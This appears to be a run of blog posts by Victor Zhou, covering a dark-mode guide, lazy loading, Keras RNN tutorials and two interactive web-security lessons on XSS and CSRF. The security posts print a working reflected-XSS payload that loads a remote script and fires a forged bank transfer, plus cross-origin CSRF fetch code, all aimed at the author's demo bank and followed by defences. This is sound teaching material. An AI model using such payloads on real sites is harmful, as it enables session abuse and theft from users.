victorzhou.com

2022 Update

Mon, 10 Oct 2022 12:00:00 GMT

Wow. It’s been almost 2 years since my last post here! What a crazy period of time we’ve been through…

I’m still around

I’m making this short post to let you know that

I’m alive
I still check in on my blog from time to time!

In fact, earlier today I finally shipped a weekend project I’ve been hacking on for this site: Table of Contents! If you’re on desktop, you should be able to see it on the right ➡️ (sorry mobile users).

Year Two Goals Check-In

Back in February 2020, I posted a recap of my first year of blogging and set some goals for Year Two that basically simplify to:

Grow organic traffic
Increase pageviews but also subscribers
Write more posts with co-authors

Unsurprisingly, I did not hit those goals. I haven’t been spending nearly as much time on this blog as I used to, and that’s okay!

I won’t be setting more goals for this blog for the foreseeable future, but I do hope to continue improving it and posting new content from time to time.

Data Check-In

In my aforementioned Year One Recap, I also included some data around how the blog was doing. I’m not going to put that much effort in this time, but here’s a super quick data update:

Metric	Feb 2020	Oct 2022
Cumulative Pageviews	642k	1632k
Unique Users	310k	779k

Hooray for surpassing 1 million pageviews! 🎉

What am I doing now?

I’ve been helping build gather.town for the past 2 years. Don’t hesitate to reach out to me if you’re interested in working with me!

A Simple Guide to Dark Mode with Gatsby.js

Mon, 16 Nov 2020 12:00:00 GMT

I recently finally implemented Dark Mode for this blog (try that toggle in the top right), so it seemed appropriate to publish a short walkthrough for anyone else wanting to do the same thing. This post will use a Gatsby.js site as an example, but the concepts here apply to really any server-side rendered site (e.g. using Next.js, too).

Let’s get started!

Note: this post assumes working React.js knowledge and basic understanding of web development in general.

1. Picking the Initial Theme

The first question we have to answer is: when a user starts loading your site, what theme (light or dark) will you show them initially? Here’s how we’ll do it:

Do we have a saved theme preference for this user from a previous visit? If so, use it.
Does the user have an operating system preference for dark mode? If so, use it.
Default to Light mode.

Saved Theme Preference

If the user previouly explicitly toggled into light / dark mode, we should save that setting for them and respect it on their next visit. To do this, we’ll use the localStorage API. Here’s what it might look like:

// Save this at some point
localStorage.setItem('preferred-theme', 'dark');

// User can close the tab, quit the browser, etc...

// Come back later and this will still be set
const theme = localStorage.getItem('preferred-theme');

Operating System Preference

There’s also a simple API for this: the prefers-color-scheme media query. Here’s an example:

const darkQuery = window.matchMedia('(prefers-color-scheme: dark)');

if (darkQuery.matches) {
  console.log('The user prefers dark mode!');
}

darkQuery.addListener(e => {
  console.log(`Preference update: ${e.matches ? 'does' : 'does not'} prefer dark mode`);
});

Putting it Together

One common pitfall we should avoid here is the dreaded dark mode flash, where the theme changes halfway through loading:

@YouTube fix your dark mode flash pic.twitter.com/5G2s3cDDMk
— Victor Zhou (@victorczhou) October 24, 2020

To prevent this, we just need the code that picks the theme to execute before our HTML page gets parsed and rendered by the browser. An easy way to do this using Gatsby is with Gatsby Server Rendering APIs, specifically the onRenderBody callback. We can use the setHeadComponents function passed to onRenderBody to inject our code:

// Header: gatsby-ssr.js
const React = require('react');

exports.onRenderBody = ({ setHeadComponents }) => {
  setHeadComponents([
    <script
      dangerouslySetInnerHTML={{
        __html: '// REPLACE THIS WITH ACTUAL CODE',
      }}
    />,
  ]);
};

Gatsby will insert this <script> tag into the <head> of our HTML, and it will be executed early enough to prevent any dark mode flash!

Now, you might be thinking: Woah. Isn’t this super sketchy? I mean, dangerouslySetInnerHTML, seriously? If that was you, your instincts are right - directly setting HTML from code should be avoided when possible because of the risk of XSS attacks. In this case, though, we’re the ones setting the HTML of the <script> tag, so it’s safe.

Further Reading: the documentation for dangerouslySetInnerHTML.

Here’s the code we’ll actually use in that <script> tag:

// Header: init-theme.js
// This is the code we're inserting at the top of our page

(function() {
  // Update the current theme to either 'light' or 'dark'
  function setTheme(theme) {
    window.__theme = theme;
    // TODO: do other logic to update theme here
    console.log('Theme updated:', theme);
  };

  // Save the user's explicit theme preference.
  // We're attaching this to window so we can access it anywhere.
  // We'll need it later in this post.
  window.__setPreferredTheme = function(theme) {
    setTheme(theme);
    try {
      localStorage.setItem('preferred-theme', theme);
    } catch (e) {}
  };

  // Is there a Saved Theme Preference in localStorage?
  let preferredTheme;
  try {
    preferredTheme = localStorage.getItem('preferred-theme');
  } catch (e) {}

  // Is there an Operating System Preference?
  let darkQuery = window.matchMedia('(prefers-color-scheme: dark)');

  // PICK THE INITIAL THEME  // 1. Use the theme from localStorage, if any  // 2. Use the OS theme, if any  // 3. Default to light  setTheme(preferredTheme || (darkQuery.matches ? 'dark' : 'light'));})();

Note: the function() {} wrapper is an immediately-invoked function expression (IIFE), which we’re using to limit the scope of our new variables (prevent them from being global).

Inlining this code into the <script> tag in our gatsby-ssr.js file will make our initial theme selection work!

Now, let’s make setting the theme actually trigger visual changes…

2. Dark Mode CSS

Basically every Dark Mode implementation uses CSS variables, and we’re going to be no different. You’ll need to ensure all colors that should be flipped in Dark Mode must be CSS variables. Here’s an example of what your CSS might look like:

/* Light Mode */
:root {
  --color-background: white;
  --color-text: #222;
  --color-primary: #164BC5;
  /* ... more colors */
}

/* Dark Mode */
:root.dark {
  --color-background: black;
  --color-text: #DDD;
  --color-primary: #0F9640;
  /* ... more colors */
}

This can be an iterative process - no need to make all your colors dark mode compatible at once. Once you have some (or all) colors converted, we can update our theme logic from before to actually apply the .dark class when appropriate:

// Header: init-theme.js
// This is the code we're inserting at the top of our page

// ...

  // Update the current theme to either 'light' or 'dark'
  function setTheme(theme) {
    window.__theme = theme;
    console.log('Theme updated:', theme);

    if (theme === 'dark') {      document.documentElement.className = 'dark';    } else {      document.documentElement.className = '';    }  };

// ...

Now, if your OS preference is dark mode, you should see dark mode colors on your site!

3. Creating a Toggle

Our only task left is to build a UI component to give users the power to directly choose their theme. For the purposes of this post, we’ll use react-toggle to build a simple toggle button as a starting point, but you should customize the look and feel of your toggle to fit with your site.

Here’s our toggle component:

// Header: DarkModeToggle.js
import React, { useCallback, useState } from 'react';
import Toggle from 'react-toggle';

const DarkModeToggle = () => {
  if (typeof window === 'undefined') {
    // Never server-side render this, since we can't determine
    // the correct initial state until we get to the client.
    // Alternatively, use a loading placeholder here.
    return null;
  }

  const [checked, setChecked] = useState(window.__theme === 'dark');

  const onChange = useCallback(
    e => {
      const isChecked = e.target.checked;
      setChecked(isChecked);
      window.__setPreferredTheme(isChecked ? 'dark' : 'light');
    },
    [setChecked]
  );

  return <Toggle checked={checked} onChange={onChange} />;
};

export default DarkModeToggle;

Let’s break down what’s happening:

Return nothing when this component is server-side rendered. We can’t determine whether to use light or dark mode until we actually reach the client browser, so we don’t know what state to show the toggle in. Using a toggle placeholder here instead is also fine.
Check the current theme using window.__theme, and update the theme using window.__setPreferredTheme. We attached both of these to the window earlier.
Remember that window.__setPreferredTheme also updates localStorage with the user’s preference. If the user uses our toggle, their preference will be saved for future visits back to the site!

Place your dark mode toggle wherever you want on your site and try it out!

4. Conclusion + Extensions

You’re done! We’ve built a dark mode solution that has no initial flash, is smart about respecting / remembering the user’s preferences, and is fully controllable by the user.

What we’ve got so far works well, but there’s always room to improve. I’ll include a few ideas below to get you started.

Minification

Minifying the JS code we inject into the head of our HTML can help improve the overall speed of your site. Here’s a (simple) start that trims whitespace:

<script
  dangerouslySetInnerHTML={{
    __html: `
  (function() {
    // code here
    // ...
  })();
`.replace(/\n/g, ' ').replace(/ {2}/g, ''),
}} />

This doesn’t fully minify the code, but it’s a nice start. If you want to squeeze every ounce of optimization out of this, you could try something like Terser to minify your code string at runtime.

Listening for Preference Changes

This is a bit of an edge case, but what if the user changes their OS dark mode preferences while they have your site open? It’s possible to listen for these changes and update your theme accordingly:

// Header: init-theme.js

// ...

const darkQuery = window.matchMedia('(prefers-color-scheme: dark)');

// Your Toggle component will need to register here to get updates.
window.__themeListeners = [];

darkQuery.addListener(e => {
  window.__setPreferredTheme(e.matches ? 'dark' : 'light');
  window.__themeListeners.forEach(l => l());
});

You’ll need a bit of extra code to register your Toggle component with these updates, but after that you should be set.

Want to see my dark mode implementation? View this site’s source code on Github.

No More Excuses: Lazy Load Your Images

Mon, 24 Aug 2020 12:00:00 GMT

If you’re anything like me, you’ve been putting off lazy loading images on your website(s) for a long time. You’ve always known it was possible (recommended, even), but over time you’ve gotten good at coming up with “reasons” not to do it:

How can this be a performance optimization if I’m adding code
There are too many lazy loading libraries, I’d probably make the wrong choice anyways
In this day and age who still cares about bandwidth… not me, and certainly not my users
I’ll do it tomorrow

You’ll tell yourself anything to keep procrastinating this, but that ends today. It’s time: lazy load your images.

Native lazy loading is here

…and it literally could not be easier to enable.

Here’s an image:

<img src="/image.png">

and here’s an image with native lazy loading:

<img src="/image.png" loading="lazy">

That’s right - browser-level native lazy loading is here, and the majority of your users will be using browsers that support it. Plus, there’s no downside - browsers that don’t support this yet will just ignore the loading attribute.

It’s trivial to implement, it won’t break your site for anyone, and it’s a win for most users - the verdict is clear, right?

Or, do it with a library

…if ~~you’re a tryhard~~ lazy loading is especially important for your site. That way, you can lazy load even in browsers that don’t support it natively!

If you want, you can use the library as a fallback:

if ('loading' in HTMLImageElement.prototype) {
  // browser supports native lazy loading
} else {
  // download and use a lazy loading library
}

The lazysizes library is a popular choice. I won’t get into the details here, but this might help you get started.

Um, I’ve heard you actually shouldn’t lazy load images

Well, ~~you heard wrong~~ that’s probably true in some cases. There might be scenarios out there for which you could justify eager loading. I’m not saying everyone should always be lazy loading, I’m saying that it’s pretty likely you should be if you’re not already. Lighthouse agrees with me - in their words, defer offscreen images.

“Offscreen” is an important qualifier: above-the fold images would never get lazy loaded anyways, so it’s recommended to avoid applying loading="lazy" at all.

Here are some images with native lazy loading enabled

But first, I need to make this post longer to push the images down so they actually get lazy loaded.

There we go. Now, look - they work just like normal images, right?

Anyways, enough chit-chat. You know what to do, so get to it.

Keras for Beginners

Sat, 08 Aug 2020 12:00:00 GMT

Keras is a simple-to-use but powerful deep learning library for Python. This 3-post series, written for beginners, provides a simple way for anyone to get started solving real machine learning problems. We’ll start with an introduction to classic Neural Networks for complete beginners before delving into two popular variants: Recurrent Neural Networks (RNNs) and Convolutional Neural Networks (CNNs).

For each of each these types of networks, we’ll:

Introduce a (simple) real-world problem
Preprocess the dataset
Build a model for the problem
Train and test the model
Brainstorm ideas to keep improving the model

At the end of each post, you’ll have the full code to accomplish everything listed above.

Background

This series requires ZERO prior experience with Keras or Tensorflow. However, background in the following topics may be helpful:

Neural Networks in general (how do they work, what are they for?). I recommend my Neural Networks from Scratch series to get started here.
Python - basic familiarity with the language will help you move through the series faster.
Experience with other deep-learning libraries, which will help you ramp up faster on Keras.

The Series

Without further ado:

Keras for Beginners: Implementing a Recurrent Neural Network

Mon, 03 Aug 2020 12:00:00 GMT

Keras is a simple-to-use but powerful deep learning library for Python. In this post, we’ll build a simple Recurrent Neural Network (RNN) and train it to solve a real problem with Keras.

This post is intended for complete beginners to Keras but does assume a basic background knowledge of RNNs. My introduction to Recurrent Neural Networks covers everything you need to know (and more) for this post - read that first if necessary.

Here we go!

Just want the code? The full source code is at the end.

The Problem: Classifying Movie Reviews

We’re going to tackle a classic introductory Natural Language Processing (NLP) problem: doing sentiment analysis on IMDb movie reviews from Stanford AI Lab’s Large Movie Review Dataset.

Here are two samples from the dataset:

Excerpt from review	Sentiment
Liked Stanley & Iris very much. Acting was very good. Story had a unique and interesting arrangement…	Positive 👍
This is the worst thing the TMNT franchise has ever spawned. I was a kid when this came out and I still thought it was deuce…	Negative 👎

1. Setup

First, we need to download the dataset. You can either:

download it from my site (I’ve hosted a copy with files we won’t need for this post removed), or
download it from the official site.

Either way, you’ll end up with a directory with the following structure:

dataset/
  test/
    neg/
    pos/
  train/
    neg/
    pos/

Next, we’ll install dependencies. All we need is Tensorflow, which comes packaged with Keras as its official high-level API:

$ pip install tensorflow

2. Preparing the Data

Tensorflow has a very easy way for us to read in our dataset: text_dataset_from_directory. Here’s how we’ll do it:

from tensorflow.keras.preprocessing import text_dataset_from_directory

# Assumes you're in the root level of the dataset directory.
# If you aren't, you'll need to change the relative paths here.
train_data = text_dataset_from_directory("./train")
test_data = text_dataset_from_directory("./test")

dataset is now a Tensorflow Dataset object we can use later!

There’s one more small thing to do. If you browse through the dataset, you’ll notice that some of the reviews include <br /> markers in them, which are HTML line breaks. We want to get rid of those, so we’ll modify our data prep a bit:

from tensorflow.keras.preprocessing import text_dataset_from_directory
from tensorflow.strings import regex_replace

def prepareData(dir):
  data = text_dataset_from_directory(dir)
  return data.map(
    lambda text, label: (regex_replace(text, '<br />', ' '), label),
  )

train_data = prepareData('./train')
test_data = prepareData('./test')

Now, all <br /> instances in our dataset have been replaced with spaces. You can try printing some of the dataset if you want:

for text_batch, label_batch in train_data.take(1):
  print(text_batch.numpy()[0])
  print(label_batch.numpy()[0]) # 0 = negative, 1 = positive

We’re ready to start building our RNN!

3. Building the Model

We’ll use the Sequential class, which represents a linear stack of layers. To start, we’ll instantiate an empty sequential model and define its input type:

from tensorflow.keras.models import Sequential
from tensorflow.keras import Input

model = Sequential()
model.add(Input(shape=(1,), dtype="string"))

Our model now takes in 1 string input - time to do something with that string.

3.1 Text Vectorization

Our first layer will be a TextVectorization layer, which will process the input string and turn it into a sequence of integers, each one representing a token.

from tensorflow.keras.layers.experimental.preprocessing import TextVectorization

max_tokens = 1000
max_len = 100
vectorize_layer = TextVectorization(
  # Max vocab size. Any words outside of the max_tokens most common ones
  # will be treated the same way: as "out of vocabulary" (OOV) tokens.
  max_tokens=max_tokens,
  # Output integer indices, one per string token
  output_mode="int",
  # Always pad or truncate to exactly this many tokens
  output_sequence_length=max_len,
)

To initialize the layer, we need to call .adapt():

# Call adapt(), which fits the TextVectorization layer to our text dataset.
# This is when the max_tokens most common words (i.e. the vocabulary) are selected.
train_texts = train_data.map(lambda text, label: text)
vectorize_layer.adapt(train_texts)

Finally, we can add the layer to our model:

model.add(vectorize_layer)

3.2 Embedding

Our next layer will be an Embedding layer, which will turn the integers produced by the previous layer into fixed-length vectors.

from tensorflow.keras.layers import Embedding

# Previous layer: TextVectorization
max_tokens = 1000
# ...
model.add(vectorize_layer)

# Note that we're using max_tokens + 1 here, since there's an
# out-of-vocabulary (OOV) token that gets added to the vocab.
model.add(Embedding(max_tokens + 1, 128))

Reading more on popular word embeddings like GloVe or Word2Vec may help you understand what Embedding layers are and why we use them.

3.3 The Recurrent Layer

Finally, we’re ready for the recurrent layer that makes our network a RNN! We’ll use a Long Short-Term Memory (LSTM) layer, which is a popular choice for this kind of problem. It’s very simple to implement:

from tensorflow.keras.layers import LSTM

# 64 is the "units" parameter, which is the
# dimensionality of the output space.
model.add(LSTM(64))

To finish off our network, we’ll add a standard fully-connected (Dense) layer and an output layer with sigmoid activation:

from tensorflow.keras.layers import Dense

model.add(Dense(64, activation="relu"))
model.add(Dense(1, activation="sigmoid"))

The sigmoid activation outputs a number between 0 and 1, which is perfect for our problem - 0 represents a negative review, and 1 represents a positive one.

4. Compiling the Model

Before we can begin training, we need to configure the training process. We decide a few key factors during the compilation step, including:

The optimizer. We’ll stick with a pretty good default: the Adam gradient-based optimizer. Keras has many other optimizers you can look into as well.
The loss function. Since we only have 2 output classes (positive and negative), we’ll use the Binary Cross-Entropy loss. See all Keras losses.
A list of metrics. Since this is a classification problem, we’ll just have Keras report on the accuracy metric.

Here’s what that compilation looks like:

model.compile(
  optimizer='adam',
  loss='binary_crossentropy',
  metrics=['accuracy'],
)

Onwards!

5. Training the Model

Training our model with Keras is super easy:

model.fit(train_data, epochs=10)

Putting all the code we’ve written thus far together and running it gives us results like this:

Epoch 1/10
loss: 0.6441 - accuracy: 0.6281
Epoch 2/10
loss: 0.5544 - accuracy: 0.7250
Epoch 3/10
loss: 0.5670 - accuracy: 0.7200
Epoch 4/10
loss: 0.4505 - accuracy: 0.7919
Epoch 5/10
loss: 0.4221 - accuracy: 0.8062
Epoch 6/10
loss: 0.4051 - accuracy: 0.8156
Epoch 7/10
loss: 0.3870 - accuracy: 0.8247
Epoch 8/10
loss: 0.3694 - accuracy: 0.8339
Epoch 9/10
loss: 0.3530 - accuracy: 0.8406
Epoch 10/10
loss: 0.3365 - accuracy: 0.8502

We’ve achieved 85% train accuracy after 10 epochs! There’s certainly a lot of room to improve (this problem isn’t that easy), but it’s not bad for a first effort.

6. Using the Model

Now that we have a working, trained model, let’s put it to use. The first thing we’ll do is save it to disk so we can load it back up anytime:

model.save_weights('cnn.h5')

We can now reload the trained model whenever we want by rebuilding it and loading in the saved weights:

model = Sequential()

# ... add the model's layers

# Load the model's saved weights.
model.load_weights('cnn.h5')

Using the trained model to make predictions is easy: we pass a string to predict() and it outputs a score.

# Should print a very high score like 0.98.
print(model.predict([
  "i loved it! highly recommend it to anyone and everyone looking for a great movie to watch.",
]))

# Should print a very low score like 0.01.
print(model.predict([
  "this was awful! i hated it so much, nobody should watch this. the acting was terrible, the music was terrible, overall it was just bad.",
]))

7. Extensions

There’s much more we can do to experiment with and improve our network. Some examples of modifications you could make to our CNN include:

Network Depth

What happens if we add Recurrent layers? How does that affect training and/or the model’s final performance?

model = Sequential()

# ...

# Return the full sequence instead of just the last
# output of the sequence.
model.add(LSTM(64, return_sequences=True))
# This second recurrent layer's input sequence is the
# output sequence of the previous layer.
model.add(LSTM(64))

Dropout

What if we incorporated dropout (e.g. via Dropout layers), which is commonly used to prevent overfitting?

from tensorflow.keras.layers import Dropout

model = Sequential()

# ...

# Examples of common ways to use dropout below. These
# parameters are not necessarily the most optimal.
model.add(LSTM(64, dropout=0.25, recurrent_dropout=0.25))
model.add(Dense(64, activation="relu"))
model.add(Dropout(0.5))

Text Vectorization Parameters

The max_tokens and max_len parameters used in our TextVectorization layer are natural candidates for tinkering:

Too low of a max_tokens will exclude potentially useful words from our vocabulary, while too high of one may increase the complexity and training time of our model.
Too low of a max_len will impact our model’s performance on longer reviews, while too high of one again may increase the complexity and training time of our model.

Pre-processing

All we did to clean our dataset was remove <br /> markers. There may be other pre-processing steps that would be useful to us. For example:

Removing “useless” tokens (e.g. ones that are extremely common or otherwise not useful)
Fixing common mispellings / abbreviations and standardizing slang

Conclusion

You’ve implemented your first RNN with Keras! I’ll include the full source code again below for your reference.

Further reading you might be interested in include:

My Keras for Beginners series, which has more Keras guides.
My complete beginner’s guide to understanding RNNs.
The official getting started with Keras guide.
More posts on Neural Networks or Keras.

Thanks for reading! The full source code is below.

The Full Code

# I'm importing everything up here to improve readability later on,
# but it's also common to just:
#     import tensorflow as tf
# and then access whatever you need directly from tf.
from tensorflow.keras.preprocessing import text_dataset_from_directory
from tensorflow.strings import regex_replace
from tensorflow.keras.layers.experimental.preprocessing import TextVectorization
from tensorflow.keras.models import Sequential
from tensorflow.keras import Input
from tensorflow.keras.layers import Dense, LSTM, Embedding, Dropout

def prepareData(dir):
  data = text_dataset_from_directory(dir)
  return data.map(
    lambda text, label: (regex_replace(text, '<br />', ' '), label),
  )

# Assumes you're in the root level of the dataset directory.
# If you aren't, you'll need to change the relative paths here.
train_data = prepareData('./train')
test_data = prepareData('./test')

for text_batch, label_batch in train_data.take(1):
  print(text_batch.numpy()[0])
  print(label_batch.numpy()[0]) # 0 = negative, 1 = positive


model = Sequential()

# ----- 1. INPUT
# We need this to use the TextVectorization layer next.
model.add(Input(shape=(1,), dtype="string"))

# ----- 2. TEXT VECTORIZATION
# This layer processes the input string and turns it into a sequence of
# max_len integers, each of which maps to a certain token.
max_tokens = 1000
max_len = 100
vectorize_layer = TextVectorization(
  # Max vocab size. Any words outside of the max_tokens most common ones
  # will be treated the same way: as "out of vocabulary" (OOV) tokens.
  max_tokens=max_tokens,
  # Output integer indices, one per string token
  output_mode="int",
  # Always pad or truncate to exactly this many tokens
  output_sequence_length=max_len,
)

# Call adapt(), which fits the TextVectorization layer to our text dataset.
# This is when the max_tokens most common words (i.e. the vocabulary) are selected.
train_texts = train_data.map(lambda text, label: text)
vectorize_layer.adapt(train_texts)

model.add(vectorize_layer)

# ----- 3. EMBEDDING
# This layer turns each integer (representing a token) from the previous layer
# an embedding. Note that we're using max_tokens + 1 here, since there's an
# out-of-vocabulary (OOV) token that gets added to the vocab.
model.add(Embedding(max_tokens + 1, 128))

# ----- 4. RECURRENT LAYER
model.add(LSTM(64))

# ----- 5. DENSE HIDDEN LAYER
model.add(Dense(64, activation="relu"))

# ----- 6. OUTPUT
model.add(Dense(1, activation="sigmoid"))


# Compile and train the model.
model.compile(loss="binary_crossentropy", optimizer="adam", metrics=["accuracy"])
model.fit(train_data, epochs=10)

model.save_weights('rnn')

model.load_weights('rnn')

# Try the model on our test dataset.
model.evaluate(test_data)

# Should print a very high score like 0.98.
print(model.predict([
  "i loved it! highly recommend it to anyone and everyone looking for a great movie to watch.",
]))

# Should print a very low score like 0.01.
print(model.predict([
  "this was awful! i hated it so much, nobody should watch this. the acting was terrible, the music was terrible, overall it was just bad.",
]))

Web Security 101: Cross-Site Scripting (XSS) Attacks

Mon, 01 Jun 2020 12:00:00 GMT

Cross-Site Scripting (XSS) vulnerabilities are one of the most dangerous web security holes that exist. In this post, we’ll see an interactive demo of XSS and learn how to protect against it.

This is the second post in my Web Security 101 series. If you’ve read my introduction to CSRF, some of the preamble below might look familiar… feel free to skip ahead a bit.

Setting the Scene

Picture this: you’re a responsible, hardworking person. You’ve saved up your money over the years at Definitely Secure Bank®.

The Definitely Secure Bank logo.

You love Definitely Secure Bank - they’ve always been good to you, plus they make it easy to transfer money and more via their website. Sweet, right?

To get in character, let’s have you open up your online banking portal and look around. Click here to open Definitely Secure Bank’s website and login. Use any username and any password you want (don’t worry - it’s definitely secure). Keep that tab open for the rest of this post.

Once you’ve logged in, you should see a landing page that looks something like this:

Click the “Try searching for the answer” link. That will bring you to the Search page. Play around with it:

Not a very helpful Search page.

One Fateful Day…

…you get an email titled: FREE 🎁 iPhone giveaway!!!

You open the email and click the link: ➡️ Claim your free iPhone ⬅️.

Yes, I actually want you to click this link for the purposes of the demo.

Assuming you were logged in to Definitely Secure Bank (DSB), you should see something like this after clicking the link:

It’s a little weird that it took you to your bank’s website, but it just seems like a broken link, right? Nothing to worry about?

Click back to your DSB homepage, and you should see a new transfer:

How did that happen?!

How It Happened

The key vulnerability here is that the DSB search results page echoes the search query without sanitizing it. Remember this screenshot from earlier?

Notice how the search query (“How do I transfer money”) is echoed back onto the page: Unfortunately, no results were found for How do I transfer money.

What if our search query was a valid HTML string?

Woah. That HTML <a> tag actually renders and functions as a link. Seems insecure, doesn’t it?

Let’s look at the demo attack from earlier. The attacker used a link to the DSB search results page with this format:

https://dsb.victorzhou.com/search?q=SEARCH_QUERY_HERE

The value of SEARCH_QUERY_HERE was:

%3Cimg%20src%3D%22%23%22%20onerror%3D%22const%20a%3Ddocument.createElement(%27script%27)%3Ba.src%3D%27https%3A%2F%2Fvictorzhou.com%2Fxss-demo.js%27%3Bdocument.body.appendChild(a)%3B%22%20%2F%3E

which URL decodes to:

<img src="#" onerror="const a=document.createElement('script');a.src='https://victorzhou.com/xss-demo.js';document.body.appendChild(a);" />

Look familiar? Let me syntax highlight that for you:

<img src="#" onerror="const a=document.createElement('script');a.src='https://victorzhou.com/xss-demo.js';document.body.appendChild(a);" />

It’s an image tag sourced from "#", which errors and runs the Javascript code contained in the onerror! Here’s the onerror code prettified:

const a = document.createElement('script');
a.src = 'https://victorzhou.com/xss-demo.js';
document.body.appendChild(a);

This downloads the xss-demo.js script (which could be anything) and executes it. Here’s what it contained in our case:

// Header: xss-demo.js
const body = new URLSearchParams('amount=5000&description=Gotcha!&to=XSS-Attackers');
fetch('/transfer', {
  body,
  method: 'post',
});

Uses the Fetch API

This sends an HTTP POST request to the Definitely Secure Bank’s (DSB) /transfer endpoint with these parameters:

Parameter	Value
`amount`	5000
`description`	Gotcha!
`to`	XSS-Attackers

This request is identical to a legitimate transfer request you would’ve created yourself. That’s why XSS vulnerabilities are so dangerous - the attacker can completely impersonate you and do anything you could’ve done.

To summarize how clicking a spam link ended with you losing $5000:

The link brought you to DSB’s search results page, which unsafely reflects your search query.
The search query was actually HTML code that caused your browser to download and execute an arbitrary script.
That script sent a transfer request to the DSB server.
The DSB server processed the request, since it saw nothing wrong.

There you have it: Cross-Site Scripting.

Reflected vs. Stored XSS

The example above was an instance of reflected XSS, because it depended on DSB immediately reflecting a user input (the search query) back onto the page.

The other common type of XSS is stored XSS (or persistent XSS). This happens when the malicious code (usually an injected script, like in our example) is stored on the target site’s servers. A classic example is storing user-generated comments without sanitizing them. An attacker could leave a malicious comment that injects a script, and anyone who views that comment would be affected.

Do CSRF tokens protect against XSS?

You may have noticed that the /transfer endpoint has no Cross-Site Request Forgery (CSRF) protection, which typically includes requiring a CSRF token. This was on purpose because it’s used in my CSRF demo, which I recommend reading if you don’t know what CSRF is.

To answer the question: CSRF protection does nothing to prevent XSS because XSS attacks don’t originate from a different site, whereas CSRF attacks do. When done correctly, a request created by an XSS attack looks completely legitimate.

How do you prevent XSS?

It’s simple: sanitize user inputs. Anytime you’re inserting untrusted (user-generated) data onto your webpage, clean it first.

How to do this cleaning is a bit outside of the scope of this post, but the good news is that it often comes for free. For example, React, which the DSB site is built with, uses JSX syntax, which automatically escapes values before rendering them, helping to prevent XSS attacks. To make the DSB search page vulnerable to XSS, I had to do this:

<p>
  Unfortunately, no results were found for{' '}
  <span dangerouslySetInnerHTML={{ __html: query }} />.
</p>

DSB is open-source: you can see this code on Github.

Yup. It’s named dangerouslySetInnerHTML for a reason.

If you’re interested in the specifics of XSS prevention, I recommend this XSS Prevention Cheat Sheet. Alternatively, if you want to learn more about web security in general, check out my introduction to CSRF as mentioned before.

Thanks for reading, and stay safe!

Web Security 101: An Interactive Cross-Site Request Forgery (CSRF) Demo

Mon, 11 May 2020 12:00:00 GMT

Looking for an introduction to Cross-Site Request Forgery (CSRF)?

This post will be a little different - instead of telling you what it is, I’m going to show you. Ready?

Setting the Scene

You’re a responsible, hardworking person. You’ve saved up your money over the years at Definitely Secure Bank®.

The Definitely Secure Bank logo.

You love Definitely Secure Bank - they’ve always been good to you, plus they make it easy to transfer money via their website. Sweet, right?

Once you’ve logged in, you should see a landing page that looks something like this:

Nice! You’ve got $20,000 saved up! It’d be a shame if someone stole it…

Notice also the ”Make Transfer” button. That’s a nice feature the Definitely Secure Bank website offers - you can send money online with just one click! If you want to give it a go, try sending a dollar to see what happens:

One Fateful Day…

…you get an email titled: ⚠️ Limited Time Offer! 🎁 Get a $100 Visa Gift Card Now!! ⚠️

Woah, you think to yourself, I could use a free $100 gift card! What could go wrong? You open the email and click the link:

Click Here to get your free $100

Yes, I actually want you to click this button. Do it for the purposes of the demo.

Little do you know, there’s no $100 gift card (what?!?!) - in fact, you’ve just lost $10,000. Don’t believe me? Go check your Definitely Secure Bank tab (the one I told you to keep open for this post). It should look something like this:

No!!!!!!!!, you scream (silently in your head). Impossible! How could this happen??

We’ll get to that in a second. First, let’s take a step back: that was a CSRF attack. In short, Cross-Site Request Forgery is a web security exploit where an attacker induces a victim to perform an action they didn’t mean to. In this case, the attacker tricked you into unintentionally transferring them money.

How It Happened

The first step was that you logged in, which means you have a session cookie set.

You might be thinking, Wait, what? 🍪🍪🍪 Cookie?. In case you are, we’re going pause momentarily for:

A crash course on [web] cookies

Feel free to skip this part if you don’t need a refresher.

Cookies are data sent from a web server that gets stored by the user’s browser and subsequently included on future requests to that server. For example, when logging into a site, something like this happens:

Your browser sends your username/password to the server.
The server verifies your username/password.
Upon success, the server responds with a custom cookie for you, often referred to as a session cookie.
On future requests, your browser includes the session cookie. The server checks your session cookie each time and now knows who you’re logged-in as.

This is why you can login to Facebook, close it, re-open it later, and still be logged in - your session cookie was saved by your browser!

More reading on web cookies: MDN, Wikipedia.

Now, back to… How It Happened

Okay, so we’ve established that your session cookie was set because you’d already logged in. Let’s get to the juicy part.

Here’s the Javascript that ran when you clicked that button:

const body = new URLSearchParams('amount=10000&description=Gotcha!&to=Evil-Scammers');
fetch('https://dsb.victorzhou.com/transfer', {
  body,
  credentials: 'include', // include cookies, despite being a cross-origin request
  method: 'post',
  mode: 'no-cors',
});

Uses the Fetch API

This sends an HTTP POST request to the Definitely Secure Bank’s (DSB) /transfer endpoint with these parameters:

Parameter	Value
`amount`	10000
`description`	Gotcha!
`to`	Evil-Scammers

Coincidentally, that happens to be exactly how the DSB website’s nifty “Make Transfer” feature works! You can see the code the DSB website runs when you click “Submit Transfer” and compare for yourself.

But how did this code manage to steal your money while including neither your username nor password? Because you’re logged in. Browsers can send cookies to one origin (the DSB site) even when the request originates from a different origin (the attacker’s site they tricked you into visiting).

A recap of what happened, in order:

You logged into DSB, so your browser had your session cookie stored.
You visited a link (simulated by clicking that button in this post) controlled by the attacker.
The attacker’s site sent a request to the DSB server in the exact format that the actual DSB website would’ve used.
The DSB server receives a completely legitimate looking request and processes the transaction.

There it is. Cross-Site Request Forgery.

Wait, what about CORS?

A common misconception is that Cross-Origin Resource Sharing (CORS) is a CSRF prevention mechanism. Let’s clarify a few things here.

First: CORS relaxes the Same-Origin Policy (SOP), a critical security measure that prevents scripts on one site (e.g. the attacker’s site) from accessing sensitive data on another site (e.g. the Definitely Secure Bank portal). If something was protecting you from CSRF, it would be the SOP.

However, in our case the SOP allows the POST request to be sent and only blocks the attacker from reading the response, which doesn’t matter! As long as the POST request to make the transfer goes through, the damage is done.

So how do you prevent CSRF, then?

The most common method of preventing CSRF is by generating a secret random string, known as a CSRF token, on the server, and checking for that token when the client performs a write. For example, here’s one way the DSB site could protect against CSRF:

Generate Token (server): when a user visits the “Make a Transfer” page, generate a CSRF token on the server and include it as a hidden field in the transfer form.
Submit Token (client): when the user submits the form, the CSRF token is automatically included in the request.
Verify Token (server): the server verifies that the CSRF token matches the one it originally sent to the user.

The data this user would send in their legitimate request might look like this:

Parameter	Value
`amount`	100
`description`	This is a real transfer.
`to`	The intended recipient
`csrf_token`	K2JY9JjZqF77Yil8
A legitimate transfer request.

